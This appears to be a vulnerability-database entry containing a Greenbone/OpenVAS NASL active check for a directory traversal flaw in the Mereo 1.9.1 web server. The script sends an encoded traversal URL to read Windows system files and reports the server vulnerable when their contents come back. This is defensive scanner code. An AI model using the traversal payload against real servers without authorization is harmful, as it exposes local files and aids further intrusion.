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Mereo <= 1.9.1 Directory Traversal Vulnerability - Active Check

🗓️ 12 May 2010 00:00:00Reported by Copyright (C) 2010 Greenbone AGType 
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Mereo <= 1.9.1 Directory Traversal Vulnerability - Active Check. Vulnerability in directory traversal due to insufficient user input sanitation. Impact allows attacker to view local files and directories, aiding in launching further attacks. No known solution available, options include upgrading, disabling features, or product replacement

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# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100636");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2010-05-12 19:34:03 +0200 (Wed, 12 May 2010)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("Mereo <= 1.9.1 Directory Traversal Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_family("Web Servers");
  script_dependencies("find_service.nasl", "httpver.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("Host/runs_windows");
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"Mereo is prone to a directory traversal vulnerability because
  it fails to sufficiently sanitize user-supplied input.");

  script_tag(name:"impact", value:"Exploiting this issue will allow an attacker to view arbitrary
  local files and directories within the context of the webserver. Information harvested may aid in
  launching further attacks.");

  script_tag(name:"affected", value:"Mereo 1.9.1 is vulnerable, other versions may also be
  affected.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore.
  General solution options are to upgrade to a newer release, disable respective features,
  remove the product or replace the product by another one.");

  script_xref(name:"URL", value:"http://www.assembla.com/wiki/show/babsJ-LFer3B3tab7jnrAJ");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("os_func.inc");
include("port_service_func.inc");

port = http_get_port(default:80);

banner = http_get_remote_headers(port:port);
if ("Server:" >< banner)
  exit(0);

files = traversal_files("windows");

foreach pattern (keys(files)) {
  file = files[pattern];

  url = "/%80../%80../%80../%80../%80../%80../%80../%80../" + file;

  if (http_vuln_check(port:port, url:url, pattern:pattern)) {
    report = http_report_vuln_url(port:port, url:url);
    security_message(port:port, data:report);
    exit(0);
  }
}

exit(99);

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